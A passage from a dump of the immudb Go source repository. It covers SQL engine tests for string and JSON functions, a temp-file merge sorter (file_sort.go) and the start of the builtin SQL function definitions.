mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\n\t\t\trequire.Equal(t, int64(6), rows[0].ValuesByPosition[0].RawValue().(int64))\n\t\t\trequire.Equal(t, int64(0), rows[0].ValuesByPosition[1].RawValue().(int64))\n\t\t})\n\n\t\tt.Run(\"substring\", func(t *testing.T) {\n\t\t\t_, err := engine.queryAll(context.Background(), nil, \"SELECT SUBSTRING('Hello, immudb!', 0, 6, true) FROM mytable\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT SUBSTRING('Hello, immudb!', 0, 6) FROM mytable\", nil)\n\t\t\trequire.ErrorContains(t, err, \"parameter 'position' must be greater than zero\")\n\n\t\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT SUBSTRING('Hello, immudb!', 1, -1) FROM mytable\", nil)\n\t\t\trequire.ErrorContains(t, err, \"parameter 'length' cannot be negative\")\n\n\t\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT SUBSTRING(NULL, 8, 0) FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\t\t\trequire.True(t, rows[0].ValuesByPosition[0].IsNull())\n\t\t\trequire.Equal(t, VarcharType, rows[0].ValuesByPosition[0].Type())\n\n\t\t\trows, err = engine.queryAll(context.Background(), nil, \"SELECT SUBSTRING('Hello, immudb!', 8, 0) FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\t\t\trequire.Equal(t, \"\", rows[0].ValuesByPosition[0].RawValue().(string))\n\n\t\t\trows, err = engine.queryAll(context.Background(), nil, \"SELECT SUBSTRING('Hello, immudb!', 8, 6) FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\n\t\t\trequire.Equal(t, \"immudb\", rows[0].ValuesByPosition[0].RawValue().(string))\n\n\t\t\trows, err = engine.queryAll(context.Background(), nil, \"SELECT SUBSTRING('Hello, immudb!', 8, 100) FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\n\t\t\trequire.Equal(t, \"immudb!\", rows[0].ValuesByPosition[0].RawValue().(string))\n\t\t})\n\n\t\tt.Run(\"trim\", func(t *testing.T) {\n\t\t\t_, err := engine.queryAll(context.Background(), nil, \"SELECT TRIM(1) FROM mytable\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT TRIM(NULL, 1) FROM mytable\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT TRIM(NULL) FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\t\t\trequire.True(t, rows[0].ValuesByPosition[0].IsNull())\n\t\t\trequire.Equal(t, VarcharType, rows[0].ValuesByPosition[0].Type())\n\n\t\t\trows, err = engine.queryAll(context.Background(), nil, \"SELECT TRIM('      \\t\\n\\r        Hello, immudb!  ') FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\n\t\t\trequire.Equal(t, \"Hello, immudb!\", rows[0].ValuesByPosition[0].RawValue().(string))\n\t\t})\n\n\t\tt.Run(\"concat\", func(t *testing.T) {\n\t\t\t_, err := engine.queryAll(context.Background(), nil, \"SELECT CONCAT() FROM mytable\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT CONCAT('ciao', NULL, true) FROM mytable\", nil)\n\t\t\trequire.ErrorContains(t, err, \"'CONCAT' function doesn't accept arguments of type BOOL\")\n\n\t\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT CONCAT('Hello', ', ', NULL, 'immudb', NULL, '!') FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\n\t\t\trequire.Equal(t, \"Hello, immudb!\", rows[0].ValuesByPosition[0].RawValue().(string))\n\t\t})\n\n\t\tt.Run(\"upper/lower\", func(t *testing.T) {\n\t\t\t_, err := engine.queryAll(context.Background(), nil, \"SELECT UPPER(1) FROM mytable\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT LOWER(NULL, 1) FROM mytable\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT UPPER(NULL), LOWER(NULL) FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\t\t\trequire.True(t, rows[0].ValuesByPosition[0].IsNull())\n\t\t\trequire.True(t, rows[0].ValuesByPosition[1].IsNull())\n\n\t\t\trows, err = engine.queryAll(context.Background(), nil, \"SELECT UPPER('immudb'), LOWER('IMMUDB') FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\n\t\t\trequire.Equal(t, \"IMMUDB\", rows[0].ValuesByPosition[0].RawValue().(string))\n\t\t\trequire.Equal(t, \"immudb\", rows[0].ValuesByPosition[1].RawValue().(string))\n\t\t})\n\t})\n\n\tt.Run(\"json functions\", func(t *testing.T) {\n\t\t_, err := engine.queryAll(context.Background(), nil, \"SELECT JSON_TYPEOF(true) FROM mytable\", nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT JSON_TYPEOF('{}'::JSON, 1) FROM mytable\", nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT JSON_TYPEOF(NULL) FROM mytable\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\t\trequire.Nil(t, rows[0].ValuesByPosition[0].RawValue())\n\n\t\trows, err = engine.queryAll(context.Background(), nil, \"SELECT JSON_TYPEOF('{}'::JSON) FROM mytable\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\t\trequire.Equal(t, \"OBJECT\", rows[0].ValuesByPosition[0].RawValue().(string))\n\t})\n}\n\nfunc TestTableResolver(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tr := &mockTableResolver{\n\t\tname: \"my_table\",\n\t\tcols: []ColDescriptor{\n\t\t\t{Column: \"varchar_col\", Type: VarcharType},\n\t\t\t{Column: \"int_col\", Type: IntegerType},\n\t\t\t{Column: \"bool_col\", Type: BooleanType},\n\t\t},\n\t\tvalues: [][]ValueExp{{NewVarchar(\"test\"), NewInteger(1), NewBool(true)}},\n\t}\n\n\tengine, err := NewEngine(\n\t\tst,\n\t\tDefaultOptions().\n\t\t\tWithPrefix(sqlPrefix).\n\t\t\tWithTableResolvers(r),\n\t)\n\trequire.NoError(t, err)\n\n\tassertQueryShouldProduceResults(\n\t\tt,\n\t\tengine,\n\t\t\"SELECT int_col, varchar_col, bool_col FROM my_table\",\n\t\t`SELECT * FROM (\n\t\t\tVALUES\n\t\t\t\t(1, 'test', true)\n\t\t)`,\n\t)\n}\n\nfunc assertQueryShouldProduceResults(t *testing.T, e *Engine, query, resultQuery string) {\n\tqueryReader, err := e.Query(context.Background(), nil, query, nil)\n\trequire.NoError(t, err)\n\tdefer queryReader.Close()\n\n\tresultReader, err := e.Query(context.Background(), nil, resultQuery, nil)\n\trequire.NoError(t, err)\n\tdefer resultReader.Close()\n\n\tfor {\n\t\tactualRow, actualErr := queryReader.Read(context.Background())\n\t\texpectedRow, expectedErr := resultReader.Read(context.Background())\n\t\trequire.Equal(t, expectedErr, actualErr)\n\n\t\tif errors.Is(actualErr, ErrNoMoreRows) {\n\t\t\tbreak\n\t\t}\n\t\trequire.Equal(t, expectedRow.ValuesByPosition, actualRow.ValuesByPosition)\n\t}\n}\n\ntype mockTableResolver struct {\n\tname   string\n\tcols   []ColDescriptor\n\tvalues [][]ValueExp\n}\n\nfunc (r *mockTableResolver) Table() string {\n\treturn r.name\n}\n\nfunc (r *mockTableResolver) Resolve(ctx context.Context, tx *SQLTx, alias string) (RowReader, error) {\n\treturn NewValuesRowReader(\n\t\ttx,\n\t\tnil,\n\t\tr.cols,\n\t\tfalse,\n\t\tr.name,\n\t\tr.values,\n\t)\n}\n"
  },
  {
    "path": "embedded/sql/file_sort.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"os\"\n\t\"sort\"\n)\n\ntype sortedChunk struct {\n\toffset uint64\n\tsize   uint64\n}\n\ntype fileSorter struct {\n\tcolPosBySelector map[string]int\n\tcolTypes         []string\n\tcmp              func(r1, r2 *Row) (int, error)\n\n\ttx          *SQLTx\n\tsortBufSize int\n\tsortBuf     []*Row\n\tnextIdx     int\n\n\ttempFile     *os.File\n\twriter       *bufio.Writer\n\ttempFileSize uint64\n\n\tchunksToMerge []sortedChunk\n}\n\nfunc (s *fileSorter) update(r *Row) error {\n\tif s.nextIdx == s.sortBufSize {\n\t\terr := s.sortAndFlushBuffer()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.nextIdx = 0\n\t}\n\n\ts.sortBuf[s.nextIdx] = r\n\ts.nextIdx++\n\n\treturn nil\n}\n\nfunc (s *fileSorter) finalize() (resultReader, error) {\n\tif s.nextIdx > 0 {\n\t\tif err := s.sortBuffer(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// result rows are all in memory\n\tif len(s.chunksToMerge) == 0 {\n\t\treturn &bufferResultReader{\n\t\t\tsortBuf: s.sortBuf[:s.nextIdx],\n\t\t}, nil\n\t}\n\n\terr := s.flushBuffer()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = s.writer.Flush()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn s.mergeAllChunks()\n}\n\nfunc (s *fileSorter) mergeAllChunks() (resultReader, error) {\n\tcurrFile := s.tempFile\n\n\toutFile, err := s.tx.createTempFile()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlbuf := &bufio.Reader{}\n\trbuf := &bufio.Reader{}\n\n\tlr := &fileRowReader{\n\t\tcolPosBySelector: s.colPosBySelector,\n\t\tcolTypes:         s.colTypes,\n\t\treader:           lbuf,\n\t\treuseRow:         true,\n\t}\n\trr := &fileRowReader{\n\t\tcolPosBySelector: s.colPosBySelector,\n\t\tcolTypes:         s.colTypes,\n\t\treader:           rbuf,\n\t\treuseRow:         true,\n\t}\n\n\tchunks := s.chunksToMerge\n\tfor len(chunks) > 1 {\n\t\ts.writer.Reset(outFile)\n\n\t\tvar offset uint64\n\n\t\tnewChunks := make([]sortedChunk, (len(chunks)+1)/2)\n\t\tfor i := 0; i < len(chunks)/2; i++ {\n\t\t\tc1 := chunks[i*2]\n\t\t\tc2 := chunks[i*2+1]\n\n\t\t\tlbuf.Reset(io.NewSectionReader(currFile, int64(c1.offset), int64(c1.size)))\n\t\t\trbuf.Reset(io.NewSectionReader(currFile, int64(c2.offset), int64(c2.size)))\n\n\t\t\terr := s.mergeChunks(lr, rr, s.writer)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tnewChunks[i] = sortedChunk{\n\t\t\t\toffset: offset,\n\t\t\t\tsize:   c1.size + c2.size,\n\t\t\t}\n\t\t\toffset += c1.size + c2.size\n\t\t}\n\n\t\terr := s.writer.Flush()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif len(chunks)%2 != 0 { // copy last sorted chunk\n\t\t\tlastChunk := chunks[len(chunks)-1]\n\n\t\t\t_, err := io.Copy(outFile, io.NewSectionReader(currFile, int64(lastChunk.offset), int64(lastChunk.size)))\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tnewChunks[len(chunks)/2] = lastChunk\n\t\t}\n\n\t\ttemp := currFile\n\t\tcurrFile = outFile\n\t\toutFile = temp\n\n\t\t_, err = outFile.Seek(0, io.SeekStart)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tchunks = newChunks\n\t}\n\n\treturn &fileRowReader{\n\t\tcolTypes:         s.colTypes,\n\t\tcolPosBySelector: s.colPosBySelector,\n\t\treader:           bufio.NewReader(io.NewSectionReader(currFile, 0, int64(s.tempFileSize))),\n\t}, nil\n}\n\nfunc (s *fileSorter) mergeChunks(lr, rr *fileRowReader, writer io.Writer) error {\n\tvar err error\n\tvar lrAtEOF bool\n\tvar r1, r2 *Row\n\n\tfor {\n\t\tif r1 == nil {\n\t\t\tr1, err = lr.Read()\n\t\t\tif err == ErrNoMoreRows {\n\t\t\t\tlrAtEOF = true\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif r2 == nil {\n\t\t\tr2, err = rr.Read()\n\t\t\tif err == ErrNoMoreRows {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tvar rawData []byte\n\t\tres, err := s.cmp(r1, r2)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif res < 0 {\n\t\t\trawData = lr.rowBuf.Bytes()\n\t\t\tr1 = nil\n\t\t} else {\n\t\t\trawData = rr.rowBuf.Bytes()\n\t\t\tr2 = nil\n\t\t}\n\n\t\t_, err = writer.Write(rawData)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treaderToCopy := lr\n\tif lrAtEOF {\n\t\treaderToCopy = rr\n\t}\n\n\t_, err = writer.Write(readerToCopy.rowBuf.Bytes())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = io.Copy(writer, readerToCopy.reader)\n\treturn err\n}\n\ntype resultReader interface {\n\tRead() (*Row, error)\n}\n\ntype bufferResultReader struct {\n\tsortBuf []*Row\n\tnextIdx int\n}\n\nfunc (r *bufferResultReader) Read() (*Row, error) {\n\tif r.nextIdx == len(r.sortBuf) {\n\t\treturn nil, ErrNoMoreRows\n\t}\n\n\trow := r.sortBuf[r.nextIdx]\n\tr.nextIdx++\n\treturn row, nil\n}\n\ntype fileRowReader struct {\n\tcolPosBySelector map[string]int\n\tcolTypes         []SQLValueType\n\treader           io.Reader\n\trowBuf           bytes.Buffer\n\trow              *Row\n\treuseRow         bool\n}\n\nfunc (r *fileRowReader) readValues(out []TypedValue) error {\n\tvar size uint16\n\terr := binary.Read(r.reader, binary.BigEndian, &size)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr.rowBuf.Reset()\n\n\tbinary.Write(&r.rowBuf, binary.BigEndian, &size)\n\n\t_, err = io.CopyN(&r.rowBuf, r.reader, int64(size))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdata := r.rowBuf.Bytes()\n\treturn decodeValues(data[2:], r.colTypes, out)\n}\n\nfunc (r *fileRowReader) Read() (*Row, error) {\n\trow := r.getRow()\n\n\terr := r.readValues(row.ValuesByPosition)\n\tif err == io.EOF {\n\t\treturn nil, ErrNoMoreRows\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor sel, pos := range r.colPosBySelector {\n\t\trow.ValuesBySelector[sel] = row.ValuesByPosition[pos]\n\t}\n\treturn row, nil\n}\n\nfunc (r *fileRowReader) getRow() *Row {\n\trow := r.row\n\tif row == nil || !r.reuseRow {\n\t\trow = &Row{\n\t\t\tValuesByPosition: make([]TypedValue, len(r.colPosBySelector)),\n\t\t\tValuesBySelector: make(map[string]TypedValue, len(r.colPosBySelector)),\n\t\t}\n\t\tr.row = row\n\t}\n\treturn row\n}\n\nfunc decodeValues(data []byte, colTypes []SQLValueType, out []TypedValue) error {\n\tvar voff int\n\tfor i, col := range colTypes {\n\t\tv, n, err := DecodeNullableValue(data[voff:], col)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvoff += n\n\n\t\tout[i] = v\n\t}\n\treturn nil\n}\n\nfunc (s *fileSorter) sortAndFlushBuffer() error {\n\tif err := s.sortBuffer(); err != nil {\n\t\treturn err\n\t}\n\treturn s.flushBuffer()\n}\n\nfunc (s *fileSorter) sortBuffer() error {\n\tbuf := s.sortBuf[:s.nextIdx]\n\n\tvar outErr error\n\tsort.Slice(buf, func(i, j int) bool {\n\t\tr1 := buf[i]\n\t\tr2 := buf[j]\n\n\t\tres, err := s.cmp(r1, r2)\n\t\tif err != nil {\n\t\t\toutErr = err\n\t\t}\n\t\treturn res < 0\n\t})\n\treturn outErr\n}\n\nfunc (s *fileSorter) flushBuffer() error {\n\twriter, err := s.tempFileWriter()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar chunkSize uint64\n\tfor _, row := range s.sortBuf[:s.nextIdx] {\n\t\tdata, err := encodeRow(row)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = writer.Write(data)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tchunkSize += uint64(len(data))\n\t}\n\n\ts.chunksToMerge = append(s.chunksToMerge, sortedChunk{\n\t\toffset: s.tempFileSize,\n\t\tsize:   chunkSize,\n\t})\n\ts.tempFileSize += chunkSize\n\treturn nil\n}\n\nfunc (s *fileSorter) tempFileWriter() (*bufio.Writer, error) {\n\tif s.writer != nil {\n\t\treturn s.writer, nil\n\t}\n\tfile, err := s.tx.createTempFile()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ts.tempFile = file\n\ts.writer = bufio.NewWriter(file)\n\treturn s.writer, nil\n}\n\nfunc encodeRow(r *Row) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tbuf.Write([]byte{0, 0}) // make room for size field\n\n\tfor _, v := range r.ValuesByPosition {\n\t\trawValue, err := EncodeNullableValue(v, v.Type(), -1)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tbuf.Write(rawValue)\n\t}\n\n\tdata := buf.Bytes()\n\tsize := uint16(len(data) - 2)\n\tbinary.BigEndian.PutUint16(data, size)\n\n\treturn data, nil\n}\n"
  },
  {
    "path": "embedded/sql/functions.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/google/uuid\"\n)\n\nconst (\n\tCoalesceFnCall           string = \"COALESCE\"\n\tLengthFnCall             string = \"LENGTH\"\n\tSubstringFnCall          string = \"SUBSTRING\"\n\tConcatFnCall             string = \"CONCAT\"\n\tLowerFnCall              string = \"LOWER\"\n\tUpperFnCall              string = \"UPPER\"\n\tTrimFnCall               string = \"TRIM\"\n\tNowFnCall                string = \"NOW\"\n\tUUIDFnCall               string = \"RANDOM_UUID\"\n\tDatabasesFnCall          string = \"DATABASES\"\n\tTablesFnCall             string = \"TABLES\"\n\tTableFnCall              string = \"TABLE\"\n\tUsersFnCall              string = \"USERS\"\n\tColumnsFnCall            string = \"COLUMNS\"\n\tIndexesFnCall            string = \"INDEXES\"\n\tGrantsFnCall             string = \"GRANTS\"\n\tJSONTypeOfFnCall         string = \"JSON_TYPEOF\"\n\tPGGetUserByIDFnCall      string = \"PG_GET_USERBYID\"\n\tPgTableIsVisibleFnCall   string = \"PG_TABLE_IS_VISIBLE\"\n\tPgShobjDescriptionFnCall string = \"SHOBJ_DESCRIPTION\"\n)\n\nvar builtinFunctions = map[string]Function{\n\tCoalesceFnCall:           &CoalesceFn{},\n\tLengthFnCall:             &LengthFn{},\n\tSubstringFnCall:          &SubstringFn{},\n\tConcatFnCall:             &ConcatFn{},\n\tLowerFnCall:              &LowerUpperFnc{},\n\tUpperFnCall:              &LowerUpperFnc{isUpper: true},\n\tTrimFnCall:               &TrimFnc{},\n\tNowFnCall:                &NowFn{},\n\tUUIDFnCall:               &UUIDFn{},\n\tJSONTypeOfFnCall:         &JsonTypeOfFn{},\n\tPGGetUserByIDFnCall:      &pgGetUserByIDFunc{},\n\tPgTableIsVisibleFnCall:   &pgTableIsVisible{},\n\tPgShobjDescriptionFnCall: &pgShobjDescription{},\n}\n\ntype Function interface {\n\tRequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error\n\tInferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error)\n\tApply(tx *SQLTx, params []TypedValue) (TypedValue, error)\n}\n\ntype CoalesceFn struct{}\n\nfunc (f *CoalesceFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn AnyType, nil\n}\n\nfunc (f *CoalesceFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\treturn nil\n}\n\nfunc (f *CoalesceFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tt := AnyType\n\n\tfor _, p := range params {\n\t\tif !p.IsNull() {\n\t\t\tif t == AnyType {\n\t\t\t\tt = p.Type()\n\t\t\t} else if p.Type() != t && !(IsNumericType(t) && IsNumericType(p.Type())) {\n\t\t\t\treturn nil, fmt.Errorf(\"coalesce: %w\", ErrInvalidTypes)\n\t\t\t}\n\t\t}\n\t}\n\n\tfor _, p := range params {\n\t\tif !p.IsNull() {\n\t\t\treturn p, nil\n\t\t}\n\t}\n\treturn NewNull(t), nil\n}\n\n// -------------------------------------\n// String Functions\n// -------------------------------------\n\ntype LengthFn struct{}\n\nfunc (f *LengthFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn IntegerType, nil\n}\n\nfunc (f *LengthFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != IntegerType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, IntegerType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *LengthFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) != 1 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function does expects one argument but %d were provided\", ErrIllegalArguments, LengthFnCall, len(params))\n\t}\n\n\tv := params[0]\n\tif v.IsNull() {\n\t\treturn &NullValue{t: IntegerType}, nil\n\t}\n\n\tif v.Type() != VarcharType {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function expects an argument of type %s\", ErrIllegalArguments, LengthFnCall, VarcharType)\n\t}\n\n\ts, _ := v.RawValue().(string)\n\treturn &Integer{val: int64(len(s))}, nil\n}\n\ntype ConcatFn struct{}\n\nfunc (f *ConcatFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn VarcharType, nil\n}\n\nfunc (f *ConcatFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != VarcharType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, VarcharType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *ConcatFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) == 0 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function does expects at least one argument\", ErrIllegalArguments, ConcatFnCall)\n\t}\n\n\tfor _, v := range params {\n\t\tif v.Type() != AnyType && v.Type() != VarcharType {\n\t\t\treturn nil, fmt.Errorf(\"%w: '%s' function doesn't accept arguments of type %s\", ErrIllegalArguments, ConcatFnCall, v.Type())\n\t\t}\n\t}\n\n\tvar builder strings.Builder\n\tfor _, v := range params {\n\t\ts, _ := v.RawValue().(string)\n\t\tbuilder.WriteString(s)\n\t}\n\treturn &Varchar{val: builder.String()}, nil\n}\n\ntype SubstringFn struct {\n}\n\nfunc (f *SubstringFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn VarcharType, nil\n}\n\nfunc (f *SubstringFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != VarcharType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, VarcharType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *SubstringFn) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) != 3 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function does expects three argument but %d were provided\", ErrIllegalArguments, SubstringFnCall, len(params))\n\t}\n\n\tv1, v2, v3 := params[0], params[1], params[2]\n\n\tif v1.IsNull() || v2.IsNull() || v3.IsNull() {\n\t\treturn &NullValue{t: VarcharType}, nil\n\t}\n\n\ts, _ := v1.RawValue().(string)\n\tpos, _ := v2.RawValue().(int64)\n\tlength, _ := v3.RawValue().(int64)\n\n\tif pos <= 0 {\n\t\treturn nil, fmt.Errorf(\"%w: parameter 'position' must be greater than zero\", ErrIllegalArguments)\n\t}\n\n\tif length < 0 {\n\t\treturn nil, fmt.Errorf(\"%w: parameter 'length' cannot be negative\", ErrIllegalArguments)\n\t}\n\n\tif pos-1 >= int64(len(s)) {\n\t\treturn &Varchar{val: \"\"}, nil\n\t}\n\n\tend := pos - 1 + length\n\tif end > int64(len(s)) {\n\t\tend = int64(len(s))\n\t}\n\treturn &Varchar{val: s[pos-1 : end]}, nil\n}\n\ntype LowerUpperFnc struct {\n\tisUpper bool\n}\n\nfunc (f *LowerUpperFnc) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn VarcharType, nil\n}\n\nfunc (f *LowerUpperFnc) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != VarcharType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, VarcharType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *LowerUpperFnc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) != 1 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function does expects one argument but %d were provided\", ErrIllegalArguments, f.name(), len(params))\n\t}\n\n\tv := params[0]\n\tif v.IsNull() {\n\t\treturn &NullValue{t: VarcharType}, nil\n\t}\n\n\tif v.Type() != VarcharType {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function expects an argument of type %s\", ErrIllegalArguments, f.name(), VarcharType)\n\t}\n\n\ts, _ := v.RawValue().(string)\n\n\tvar res string\n\tif f.isUpper {\n\t\tres = strings.ToUpper(s)\n\t} else {\n\t\tres = strings.ToLower(s)\n\t}\n\treturn &Varchar{val: res}, nil\n}\n\nfunc (f *LowerUpperFnc) name() string {\n\tif f.isUpper {\n\t\treturn UpperFnCall\n\t}\n\treturn LowerFnCall\n}\n\ntype TrimFnc struct {\n}\n\nfunc (f *TrimFnc) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn VarcharType, nil\n}\n\nfunc (f *TrimFnc) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error {\n\tif t != VarcharType {\n\t\treturn fmt.Errorf(\"%w: %v can not be interpreted as type %v\", ErrInvalidTypes, VarcharType, t)\n\t}\n\treturn nil\n}\n\nfunc (f *TrimFnc) Apply(tx *SQLTx, params []TypedValue) (TypedValue, error) {\n\tif len(params) != 1 {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function does expects one argument but %d were provided\", ErrIllegalArguments, TrimFnCall, len(params))\n\t}\n\n\tv := params[0]\n\tif v.IsNull() {\n\t\treturn &NullValue{t: VarcharType}, nil\n\t}\n\n\tif v.Type() != VarcharType {\n\t\treturn nil, fmt.Errorf(\"%w: '%s' function expects an argument of type %s\", ErrIllegalArguments, TrimFnCall, VarcharType)\n\t}\n\n\ts, _ := v.RawValue().(string)\n\treturn &Varchar{val: strings.Trim(s, \" \\t\\n\\r\\v\\f\")}, nil\n}\n\n// -------------------------------------\n// Time Functions\n// -------------------------------------\n\ntype NowFn struct{}\n\nfunc (f *NowFn) InferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) {\n\treturn TimestampType, nil\n}\n\nfunc (f *NowFn) RequiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, 